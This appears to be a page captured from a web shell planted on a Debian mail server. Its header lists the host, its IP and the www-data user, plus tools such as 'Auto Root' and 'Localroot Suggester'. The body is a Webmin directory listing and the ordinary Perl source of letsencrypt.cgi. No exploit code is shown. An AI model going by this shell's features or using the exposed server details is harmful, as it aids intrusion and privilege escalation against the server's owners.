Linux mail.vriendennsm.nl 6.1.0-51-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.177-1 (2026-07-16) x86_64
Apache/2.4.68 (Debian)
Server IP : 217.154.75.17 & Your IP : 216.73.216.195
Domains :
Cant Read [ /etc/named.conf ]
User : www-data
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
usr /
share /
webmin /
webmin /
Delete
Unzip
Name
Size
Permission
Date
Action
help
[ DIR ]
drwxr-xr-x
2026-07-25 20:55
images
[ DIR ]
drwxr-xr-x
2026-07-25 20:55
lang
[ DIR ]
drwxr-xr-x
2026-07-25 20:55
subdir
[ DIR ]
drwxr-xr-x
2026-07-25 20:55
CHANGELOG
12.02
KB
-rw-r--r--
2026-07-17 21:17
acme_tiny.py
11.53
KB
-rwxr-xr-x
2026-07-17 21:17
adminupgrade
299
B
-rw-r--r--
2026-07-17 21:17
backup_config.pl
1.97
KB
-rwxr-xr-x
2026-07-17 21:17
bootup.cgi
1.04
KB
-rwxr-xr-x
2026-07-17 21:22
cache.cgi
1.47
KB
-rwxr-xr-x
2026-07-17 21:22
cgi_args.pl
159
B
-rwxr-xr-x
2026-07-17 21:17
change_access.cgi
1.93
KB
-rwxr-xr-x
2026-07-17 21:22
change_advanced.cgi
7.02
KB
-rwxr-xr-x
2026-07-17 21:22
change_anon.cgi
712
B
-rwxr-xr-x
2026-07-17 21:22
change_bind.cgi
5.08
KB
-rwxr-xr-x
2026-07-17 21:22
change_ca.cgi
674
B
-rwxr-xr-x
2026-07-17 21:22
change_debug.cgi
1.38
KB
-rwxr-xr-x
2026-07-17 21:22
change_lang.cgi
558
B
-rwxr-xr-x
2026-07-17 21:22
change_lock.cgi
554
B
-rwxr-xr-x
2026-07-17 21:22
change_log.cgi
2.42
KB
-rwxr-xr-x
2026-07-17 21:22
change_mobile.cgi
940
B
-rwxr-xr-x
2026-07-17 21:22
change_os.cgi
2.21
KB
-rwxr-xr-x
2026-07-17 21:22
change_osdn.cgi
1.54
KB
-rwxr-xr-x
2026-07-17 21:22
change_overlay.cgi
1.17
KB
-rwxr-xr-x
2026-07-17 21:22
change_proxy.cgi
1.09
KB
-rwxr-xr-x
2026-07-17 21:22
change_referers.cgi
633
B
-rwxr-xr-x
2026-07-17 21:22
change_session.cgi
5.88
KB
-rwxr-xr-x
2026-07-17 21:22
change_ssl.cgi
3.08
KB
-rwxr-xr-x
2026-07-17 21:22
change_startpage.cgi
687
B
-rwxr-xr-x
2026-07-17 21:22
change_status.cgi
1.08
KB
-rwxr-xr-x
2026-07-17 21:22
change_theme.cgi
1.17
KB
-rwxr-xr-x
2026-07-17 21:22
change_twofactor.cgi
1.48
KB
-rwxr-xr-x
2026-07-17 21:22
change_ui.cgi
1.61
KB
-rwxr-xr-x
2026-07-17 21:22
change_web.cgi
2.47
KB
-rwxr-xr-x
2026-07-17 21:22
clear_blocked.cgi
230
B
-rwxr-xr-x
2026-07-17 21:22
clear_cache.cgi
205
B
-rwxr-xr-x
2026-07-17 21:22
clone_mod.cgi
2.15
KB
-rwxr-xr-x
2026-07-17 21:22
config
155
B
-rw-r--r--
2026-07-17 21:17
config.info
940
B
-rw-r--r--
2026-07-17 21:17
config.info.ar
406
B
-rw-r--r--
2026-07-17 21:17
config.info.ca
388
B
-rw-r--r--
2026-07-17 21:17
config.info.cs
225
B
-rw-r--r--
2026-07-17 21:17
config.info.de
351
B
-rw-r--r--
2026-07-17 21:17
config.info.es
221
B
-rw-r--r--
2026-07-17 21:17
config.info.fa
293
B
-rw-r--r--
2026-07-17 21:17
config.info.fr
554
B
-rw-r--r--
2026-07-17 21:17
config.info.hr
0
B
-rw-r--r--
2026-07-17 21:17
config.info.hu
0
B
-rw-r--r--
2026-07-17 21:17
config.info.it
237
B
-rw-r--r--
2026-07-17 21:17
config.info.ja
514
B
-rw-r--r--
2026-07-17 21:17
config.info.ko
198
B
-rw-r--r--
2026-07-17 21:17
config.info.ms
278
B
-rw-r--r--
2026-07-17 21:17
config.info.nl
291
B
-rw-r--r--
2026-07-17 21:17
config.info.no
275
B
-rw-r--r--
2026-07-17 21:17
config.info.pl
276
B
-rw-r--r--
2026-07-17 21:17
config.info.pt_BR
291
B
-rw-r--r--
2026-07-17 21:17
config.info.ru
483
B
-rw-r--r--
2026-07-17 21:17
config.info.sk
124
B
-rw-r--r--
2026-07-17 21:17
config.info.sv
194
B
-rw-r--r--
2026-07-17 21:17
config.info.tr
147
B
-rw-r--r--
2026-07-17 21:17
cpan_modules.pl
229
B
-rwxr-xr-x
2026-07-17 21:17
defaultacl
17
B
-rw-r--r--
2026-07-17 21:17
delete_cache.cgi
471
B
-rwxr-xr-x
2026-07-17 21:22
delete_mod.cgi
2.24
KB
-rwxr-xr-x
2026-07-17 21:22
delete_webmincron.cgi
1.51
KB
-rwxr-xr-x
2026-07-17 21:22
developers-key.asc
3.07
KB
-rw-r--r--
2026-07-17 21:17
download_cert.cgi
532
B
-rwxr-xr-x
2026-07-17 21:22
edit_access.cgi
1.88
KB
-rwxr-xr-x
2026-07-17 21:22
edit_advanced.cgi
4.24
KB
-rwxr-xr-x
2026-07-17 21:22
edit_anon.cgi
812
B
-rwxr-xr-x
2026-07-17 21:22
edit_assignment.cgi
1.12
KB
-rwxr-xr-x
2026-07-17 21:22
edit_bind.cgi
3.54
KB
-rwxr-xr-x
2026-07-17 21:22
edit_blocked.cgi
944
B
-rwxr-xr-x
2026-07-17 21:22
edit_ca.cgi
2.82
KB
-rwxr-xr-x
2026-07-17 21:22
edit_categories.cgi
1.69
KB
-rwxr-xr-x
2026-07-17 21:22
edit_debug.cgi
2.05
KB
-rwxr-xr-x
2026-07-17 21:22
edit_descs.cgi
1.49
KB
-rwxr-xr-x
2026-07-17 21:22
edit_ipkey.cgi
1.7
KB
-rwxr-xr-x
2026-07-17 21:22
edit_lang.cgi
1.83
KB
-rwxr-xr-x
2026-07-17 21:22
edit_lock.cgi
2.13
KB
-rwxr-xr-x
2026-07-17 21:22
edit_log.cgi
3.16
KB
-rwxr-xr-x
2026-07-17 21:22
edit_mobile.cgi
1.26
KB
-rwxr-xr-x
2026-07-17 21:22
edit_mods.cgi
4.45
KB
-rwxr-xr-x
2026-07-17 21:22
edit_os.cgi
3.17
KB
-rwxr-xr-x
2026-07-17 21:22
edit_proxy.cgi
3.7
KB
-rwxr-xr-x
2026-07-17 21:22
edit_referers.cgi
899
B
-rwxr-xr-x
2026-07-17 21:22
edit_sendmail.cgi
3.68
KB
-rwxr-xr-x
2026-07-17 21:22
edit_session.cgi
6.23
KB
-rwxr-xr-x
2026-07-17 21:22
edit_ssl.cgi
13.69
KB
-rwxr-xr-x
2026-07-17 21:22
edit_startpage.cgi
1.48
KB
-rwxr-xr-x
2026-07-17 21:22
edit_status.cgi
1.26
KB
-rwxr-xr-x
2026-07-17 21:22
edit_themes.cgi
4.15
KB
-rwxr-xr-x
2026-07-17 21:22
edit_twofactor.cgi
1.5
KB
-rwxr-xr-x
2026-07-17 21:22
edit_ui.cgi
2.51
KB
-rwxr-xr-x
2026-07-17 21:22
edit_upgrade.cgi
4.39
KB
-rwxr-xr-x
2026-07-17 21:22
edit_web.cgi
2.92
KB
-rwxr-xr-x
2026-07-17 21:22
edit_webmincron.cgi
1.35
KB
-rwxr-xr-x
2026-07-17 21:22
export_mod.cgi
1.23
KB
-rwxr-xr-x
2026-07-17 21:22
feedback_files.pl
126
B
-rwxr-xr-x
2026-07-17 21:17
fix_os.cgi
228
B
-rwxr-xr-x
2026-07-17 21:22
fix_repo.cgi
1.87
KB
-rwxr-xr-x
2026-07-17 21:22
gnupg-lib.pl
14.82
KB
-rwxr-xr-x
2026-07-17 21:17
hide.cgi
326
B
-rwxr-xr-x
2026-07-17 21:22
index.cgi
4.41
KB
-rwxr-xr-x
2026-07-17 21:22
install_mod.cgi
3.11
KB
-rwxr-xr-x
2026-07-17 21:22
install_theme.cgi
2.29
KB
-rwxr-xr-x
2026-07-17 21:22
jcameron-key.asc
1.29
KB
-rw-r--r--
2026-07-17 21:17
kill_lock.cgi
1.57
KB
-rwxr-xr-x
2026-07-17 21:22
letsencrypt-cleanup.pl
1.94
KB
-rwxr-xr-x
2026-07-17 21:22
letsencrypt-dns.pl
2.49
KB
-rwxr-xr-x
2026-07-17 21:22
letsencrypt-lib.pl
19.62
KB
-rwxr-xr-x
2026-07-17 21:17
letsencrypt.cgi
8.25
KB
-rwxr-xr-x
2026-07-17 21:22
log_parser.pl
1.23
KB
-rwxr-xr-x
2026-07-17 21:17
module.info
195
B
-rw-r--r--
2026-07-17 21:17
module.info.ar
185
B
-rw-r--r--
2026-07-17 21:17
module.info.ar.auto
22
B
-rw-r--r--
2026-07-17 21:17
module.info.bg
0
B
-rw-r--r--
2026-07-17 21:17
module.info.bg.auto
218
B
-rw-r--r--
2026-07-17 21:17
module.info.ca
134
B
-rw-r--r--
2026-07-17 21:17
module.info.ca.auto
15
B
-rw-r--r--
2026-07-17 21:17
module.info.cs
28
B
-rw-r--r--
2026-07-17 21:17
module.info.cs.auto
128
B
-rw-r--r--
2026-07-17 21:17
module.info.da
0
B
-rw-r--r--
2026-07-17 21:17
module.info.da.auto
142
B
-rw-r--r--
2026-07-17 21:17
module.info.de
126
B
-rw-r--r--
2026-07-17 21:17
module.info.de.auto
15
B
-rw-r--r--
2026-07-17 21:17
module.info.el
0
B
-rw-r--r--
2026-07-17 21:17
module.info.el.auto
262
B
-rw-r--r--
2026-07-17 21:17
module.info.es
33
B
-rw-r--r--
2026-07-17 21:17
module.info.es.auto
109
B
-rw-r--r--
2026-07-17 21:17
module.info.eu
0
B
-rw-r--r--
2026-07-17 21:17
module.info.eu.auto
158
B
-rw-r--r--
2026-07-17 21:17
module.info.fa
0
B
-rw-r--r--
2026-07-17 21:17
module.info.fa.auto
202
B
-rw-r--r--
2026-07-17 21:17
module.info.fi
0
B
-rw-r--r--
2026-07-17 21:17
module.info.fi.auto
141
B
-rw-r--r--
2026-07-17 21:17
module.info.fr
32
B
-rw-r--r--
2026-07-17 21:17
module.info.fr.auto
129
B
-rw-r--r--
2026-07-17 21:17
module.info.hr
0
B
-rw-r--r--
2026-07-17 21:17
module.info.hr.auto
149
B
-rw-r--r--
2026-07-17 21:17
module.info.hu
30
B
-rw-r--r--
2026-07-17 21:17
module.info.hu.auto
148
B
-rw-r--r--
2026-07-17 21:17
module.info.it
33
B
-rw-r--r--
2026-07-17 21:17
module.info.it.auto
107
B
-rw-r--r--
2026-07-17 21:17
module.info.ja
180
B
-rw-r--r--
2026-07-17 21:17
module.info.ko
22
B
-rw-r--r--
2026-07-17 21:17
module.info.ko.auto
129
B
-rw-r--r--
2026-07-17 21:17
module.info.ms
119
B
-rw-r--r--
2026-07-17 21:17
module.info.ms.auto
15
B
-rw-r--r--
2026-07-17 21:17
module.info.nl
28
B
-rw-r--r--
2026-07-17 21:17
module.info.nl.auto
117
B
-rw-r--r--
2026-07-17 21:17
module.info.no
29
B
-rw-r--r--
2026-07-17 21:17
module.info.no.auto
117
B
-rw-r--r--
2026-07-17 21:17
module.info.pl
155
B
-rw-r--r--
2026-07-17 21:17
module.info.pl.auto
15
B
-rw-r--r--
2026-07-17 21:17
module.info.pt
33
B
-rw-r--r--
2026-07-17 21:17
module.info.pt.auto
113
B
-rw-r--r--
2026-07-17 21:17
module.info.pt_BR
36
B
-rw-r--r--
2026-07-17 21:17
module.info.pt_BR.auto
119
B
-rw-r--r--
2026-07-17 21:17
module.info.ru
34
B
-rw-r--r--
2026-07-17 21:17
module.info.ru.auto
172
B
-rw-r--r--
2026-07-17 21:17
module.info.sk
30
B
-rw-r--r--
2026-07-17 21:17
module.info.sk.auto
132
B
-rw-r--r--
2026-07-17 21:17
module.info.sv
30
B
-rw-r--r--
2026-07-17 21:17
module.info.sv.auto
114
B
-rw-r--r--
2026-07-17 21:17
module.info.tr
33
B
-rw-r--r--
2026-07-17 21:17
module.info.tr.auto
128
B
-rw-r--r--
2026-07-17 21:17
module.info.uk
0
B
-rw-r--r--
2026-07-17 21:17
module.info.uk.auto
215
B
-rw-r--r--
2026-07-17 21:17
module.info.zh
22
B
-rw-r--r--
2026-07-17 21:17
module.info.zh_TW
25
B
-rw-r--r--
2026-07-17 21:17
module.info.zh_TW.auto
115
B
-rw-r--r--
2026-07-17 21:17
newcsr.cgi
800
B
-rwxr-xr-x
2026-07-17 21:22
newkey.cgi
879
B
-rwxr-xr-x
2026-07-17 21:22
os-eol-lib.pl
9.55
KB
-rwxr-xr-x
2026-07-17 21:17
postinstall.pl
2.59
KB
-rwxr-xr-x
2026-07-17 21:17
refresh_modules.cgi
661
B
-rwxr-xr-x
2026-07-17 21:22
restart.cgi
87
B
-rwxr-xr-x
2026-07-17 21:22
save_assignment.cgi
485
B
-rwxr-xr-x
2026-07-17 21:22
save_categories.cgi
986
B
-rwxr-xr-x
2026-07-17 21:22
save_descs.cgi
1006
B
-rwxr-xr-x
2026-07-17 21:22
save_ipkey.cgi
1.31
KB
-rwxr-xr-x
2026-07-17 21:22
save_newmod.cgi
278
B
-rwxr-xr-x
2026-07-17 21:22
save_sendmail.cgi
2.32
KB
-rwxr-xr-x
2026-07-17 21:22
save_webmincron.cgi
1016
B
-rwxr-xr-x
2026-07-17 21:22
savekey.cgi
2.8
KB
-rwxr-xr-x
2026-07-17 21:22
setup_ca.cgi
1.52
KB
-rwxr-xr-x
2026-07-17 21:22
standard_chooser.cgi
1.68
KB
-rwxr-xr-x
2026-07-17 21:22
stop_ca.cgi
1.03
KB
-rwxr-xr-x
2026-07-17 21:22
syslog_logs.pl
633
B
-rwxr-xr-x
2026-07-17 21:17
system_info.pl
5.08
KB
-rw-r--r--
2026-07-17 21:17
test_sendmail.cgi
784
B
-rwxr-xr-x
2026-07-17 21:22
third_chooser.cgi
1.55
KB
-rwxr-xr-x
2026-07-17 21:22
twofactor-funcs-lib.pl
11.24
KB
-rw-r--r--
2026-07-17 21:17
uninstall.pl
236
B
-rwxr-xr-x
2026-07-17 21:17
update.cgi
2.89
KB
-rwxr-xr-x
2026-07-17 21:22
upgrade.cgi
16.95
KB
-rwxr-xr-x
2026-07-17 21:22
view_webmincron.cgi
1.66
KB
-rwxr-xr-x
2026-07-17 21:22
webmin-lib.pl
75.99
KB
-rwxr-xr-x
2026-07-17 21:17
Save
Rename
#!/usr/bin/perl # Request a new SSL cert using Let's Encrypt use strict; use warnings; no warnings 'redefine'; no warnings 'uninitialized'; require "./webmin-lib.pl"; our %text; our %miniserv; our %in; our $config_directory; our %config; our $module_name; our $letsencrypt_cmd; &error_setup($text{'letsencrypt_err'}); my $letsencrypt_ip_cert_renewal_max_days = 5; # Re-check if let's encrypt is available my $err = &check_letsencrypt(); &error($err) if ($err); # Validate inputs &ReadParse(); my @doms = split(/\s+/, $in{'dom'}); foreach my $dom (@doms) { $dom =~ /^(\*\.)?[a-z0-9\-\.\_]+$/i || &letsencrypt_is_ip_cert_identifier($dom) || &error($text{'letsencrypt_edom'}); } my $has_ip_doms = &letsencrypt_doms_have_ips(\@doms); $in{'directory_url'} = &trim($in{'directory_url'}); $in{'eab_kid'} = &trim($in{'eab_kid'}); $in{'eab_hmac'} = &trim($in{'eab_hmac'}); if ($in{'directory_url'}) { my ($host, $port, $page, $ssl) = &parse_http_url($in{'directory_url'}); $host && $ssl < 2 || &error($text{'letsencrypt_eacmedir'}); } if ($in{'eab_kid'} || $in{'eab_hmac'}) { $in{'directory_url'} || &error($text{'letsencrypt_eeabdir'}); $in{'eab_kid'} && $in{'eab_hmac'} || &error($text{'letsencrypt_eeabpair'}); $letsencrypt_cmd || &error($text{'letsencrypt_eeabnative'}); } if (!$in{'renew_def'}) { $in{'renew'} =~ /^[1-9][0-9]*$/ || &error($text{'letsencrypt_erenew'}); $in{'renew_unit'} ||= $has_ip_doms ? "days" : "months"; $in{'renew_unit'} =~ /^(days|months)$/ || &error($text{'letsencrypt_erenewunit'}); my $ip_max_days = $letsencrypt_ip_cert_renewal_max_days; if ($has_ip_doms && ($in{'renew_unit'} ne "days" || $in{'renew'} > $ip_max_days)) { &error(&text('letsencrypt_erenewipauto', $ip_max_days)); } } $in{'size_def'} || $in{'size'} =~ /^\d+$/ || &error($text{'newkey_esize'}); my $size = $in{'size_def'} ? undef : $in{'size'}; my $webroot; my $mode = "web"; if ($in{'webroot_mode'} == 3) { # Validation via DNS $mode = "dns"; } elsif ($in{'webroot_mode'} == 4) { # Validation via Certbot webserver $mode = "certbot"; } elsif ($in{'webroot_mode'} == 2) { # Some directory $in{'webroot'} =~ /^\/\S+/ && -d $in{'webroot'} || &error($text{'letsencrypt_ewebroot'}); $webroot = $in{'webroot'}; } else { # Apache domain &foreign_require("apache"); my $conf = &apache::get_config(); foreach my $virt (&apache::find_directive_struct( "VirtualHost", $conf)) { my $sn = &apache::find_directive( "ServerName", $virt->{'members'}); my @sa = &apache::find_directive( "ServerAlias", $virt->{'members'}); my $match = 0; if ($in{'webroot_mode'} == 0 && &indexof($doms[0], $sn, @sa) >= 0) { # Based on domain name $match = 1; } elsif ($in{'webroot_mode'} == 1 && $sn eq $in{'vhost'}) { # Specifically selected domain $match = 1; } my @ports; foreach my $w (@{$virt->{'words'}}) { if ($w =~ /:(\d+)$/) { push(@ports, $1); } else { push(@ports, 80); } } if ($match && &indexof(80, @ports) >= 0) { # Get document root $webroot = &apache::find_directive( "DocumentRoot", $virt->{'members'}, 1); $webroot || &error(&text('letsencrypt_edroot', $sn)); last; } } $webroot || &error(&text('letsencrypt_evhost', $doms[0])); } if ($in{'save'}) { # Just update renewal &save_renewal_only(\@doms, $webroot, $mode, $size, $in{'subset'}, $in{'use'}, $in{'directory_url'}, $in{'eab_kid'}, $in{'eab_hmac'}); &redirect("edit_ssl.cgi?mode=lets"); } else { # Request the cert &ui_print_unbuffered_header(undef, $text{'letsencrypt_title'}, ""); print &text($mode eq 'dns' ? 'letsencrypt_doingdns' : $mode eq 'certbot' ? 'letsencrypt_doingcertbot' : 'letsencrypt_doing', "<tt>".&html_escape(join(", ", @doms))."</tt>", "<tt>".&html_escape($webroot)."</tt>"),"<br>\n"; my ($ok, $cert, $key, $chain) = &request_letsencrypt_cert( \@doms, $webroot, undef, $size, $mode, $in{'staging'}, undef, undef, undef, $in{'directory_url'}, $in{'eab_kid'}, $in{'eab_hmac'}, $in{'subset'}); if (!$ok) { print &text('letsencrypt_failed', $cert),"\n"; } else { # Worked, now copy to Webmin my @grid = ( $text{'letsencrypt_cert'}, $cert, $text{'letsencrypt_key'}, $key ); push(@grid, $text{'letsencrypt_chain'}, $chain) if ($chain); my $details = &html_escape($text{'letsencrypt_show'})."<p>\n". &ui_grid_table(\@grid, 2); print &ui_details({ 'html' => 1, 'title' => &ui_tag('span', &html_escape($text{'letsencrypt_done'}), { 'data-second-print' => undef }), 'content' => $details, 'class' => 'inline inlined', }); print "<div data-x-br=\"\"></div>\n"; # Save the renewal schedule &save_renewal_only(\@doms, $webroot, $mode, $size, $in{'subset'}, $in{'use'}, $in{'directory_url'}, $in{'eab_kid'}, $in{'eab_hmac'}, 1); # Copy cert, key and chain to Webmin if ($in{'use'}) { print $text{'letsencrypt_webmin'},"<br>\n"; &lock_file($ENV{'MINISERV_CONFIG'}); &get_miniserv_config(\%miniserv); $miniserv{'keyfile'} = $config_directory. "/letsencrypt-key.pem"; &lock_file($miniserv{'keyfile'}); ©_source_dest($key, $miniserv{'keyfile'}, 1); &unlock_file($miniserv{'keyfile'}); $miniserv{'certfile'} = $config_directory. "/letsencrypt-cert.pem"; &lock_file($miniserv{'certfile'}); ©_source_dest($cert, $miniserv{'certfile'}, 1); &unlock_file($miniserv{'certfile'}); if ($chain) { $miniserv{'extracas'} = $config_directory. "/letsencrypt-ca.pem"; &lock_file($miniserv{'extracas'}); ©_source_dest($chain, $miniserv{'extracas'}, 1); &unlock_file($miniserv{'extracas'}); } else { delete($miniserv{'extracas'}); } &put_miniserv_config(\%miniserv); &unlock_file($ENV{'MINISERV_CONFIG'}); &webmin_log("letsencrypt"); &restart_miniserv(1); print &ui_tag('span', &html_escape($text{'letsencrypt_wdone'}), { 'data-second-print' => undef }); print "<br><div data-x-br=\"\"></div>\n"; } } &ui_print_footer("", $text{'index_return'}); } # save_renewal_only(&doms, webroot, mode, size, subset-mode, used-by-webmin, # directory-url, eab-kid, eab-hmac, [reset-renewal-time]) # Save for future renewals sub save_renewal_only { my ($doms, $webroot, $mode, $size, $subset, $usewebmin, $directory_url, $eab_kid, $eab_hmac, $reset_renewal_time) = @_; $config{'letsencrypt_doms'} = join(" ", @$doms); $config{'letsencrypt_webroot'} = $webroot; $config{'letsencrypt_mode'} = $mode; $config{'letsencrypt_size'} = $size; $config{'letsencrypt_subset'} = $subset; $config{'letsencrypt_nouse'} = $usewebmin ? 0 : 1; my $renew_has_ip_doms = &letsencrypt_doms_have_ips($doms); my $renew_unit = $in{'renew_unit'} =~ /^(days|months)$/ ? $in{'renew_unit'} : ($renew_has_ip_doms ? "days" : "months"); $config{'letsencrypt_renew_unit'} = $renew_unit; if ($directory_url) { $config{'letsencrypt_directory_url'} = $directory_url; } else { delete($config{'letsencrypt_directory_url'}); } if ($directory_url && $eab_kid) { $config{'letsencrypt_eab_kid'} = $eab_kid; } else { delete($config{'letsencrypt_eab_kid'}); } if ($directory_url && $eab_hmac) { $config{'letsencrypt_eab_hmac'} = $eab_hmac; } else { delete($config{'letsencrypt_eab_hmac'}); } &save_module_config(); if (&foreign_check("webmincron")) { my $job = &find_letsencrypt_cron_job(); if ($in{'renew_def'}) { &webmincron::delete_webmin_cron($job) if ($job); } else { # A manual cert request does not update Webmin cron's last-run # state, so re-create the job to start the elapsed renewal # interval from now instead of immediately running an overdue # job with the old ID if ($job && $reset_renewal_time) { &webmincron::delete_webmin_cron($job); $job = undef; } $job ||= { 'module' => $module_name, 'func' => 'renew_letsencrypt_cert' }; # Scheduling is driven by 'interval' (elapsed seconds). # 'months' is retained only for month-based schedules so # edit_ssl.cgi can show the renewal interval. $job->{'mins'} = ''; $job->{'hours'} = ''; $job->{'days'} = ''; $job->{'months'} = $renew_unit eq "months" ? '*/'.$in{'renew'} : ''; $job->{'weekdays'} = ''; $job->{'interval'} = $renew_unit eq "days" ? $in{'renew'}*24*60*60 : $in{'renew'}*30*24*60*60; &webmincron::create_webmin_cron($job); } } }